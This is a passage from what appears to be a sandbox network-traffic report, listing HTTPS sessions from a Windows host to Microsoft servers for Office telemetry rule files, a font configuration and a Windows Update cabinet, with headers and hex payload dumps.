54	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:18 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:18 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:18 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080718Z-16849878b782d4lwcu6h6gmxnw0000000900000000002f7r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:18 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49781	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:18 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 08:07:18 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=203961 Date: Thu, 31 Oct 2024 08:07:18 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-31 08:07:18 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:18 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 5926a802-601e-0032-207f-2aeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080718Z-16849878b78xblwksrnkakc08w00000008e000000000chsz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:18 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9f4f074d-601e-00ab-77c7-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080719Z-159b85dff8f46f6ghC1DFW1p0n00000001eg000000008ym4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:19 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080719Z-16849878b786lft2mu9uftf3y40000000am0000000001geb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:19 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080719Z-16849878b7898p5f6vryaqvp580000000a60000000000eah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:19 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:19 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: dca3eddb-501e-008c-6f6b-2acd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080719Z-17c5cb586f62bgw58esgbu9hgw00000001vg00000000ax8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:19 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49788	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EnhTzm5MnU6sXfe&MD=KPCKz7gC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 08:07:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: eb11ae93-28ac-459f-8a97-d408bc5a4f42 MS-RequestId: 8020a967-92b0-4643-8fa0-cba56a2b6d92 MS-CV: gjusDmP/ukmTd/8k.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 08:07:18 GMT Connection: close Content-Length: 24490
2024-10-31 08:07:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-31 08:07:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:19 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: e5751b3d-f01e-0099-0a8e-299171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080719Z-17c5cb586f6f98jx9q4y7udcaw00000000p0000000002z7c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:19 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:19 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080719Z-16849878b786fl7gm2qg4r5y7000000009kg0000000048vf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:19 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:19 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080719Z-16849878b78zqkvcwgr6h55x9n00000008q0000000008rtr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:19 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 9a8e6971-501e-0078-586f-2806cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080720Z-15b8d89586fnsf5zkvx8tfb0zc00000004g0000000001352 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
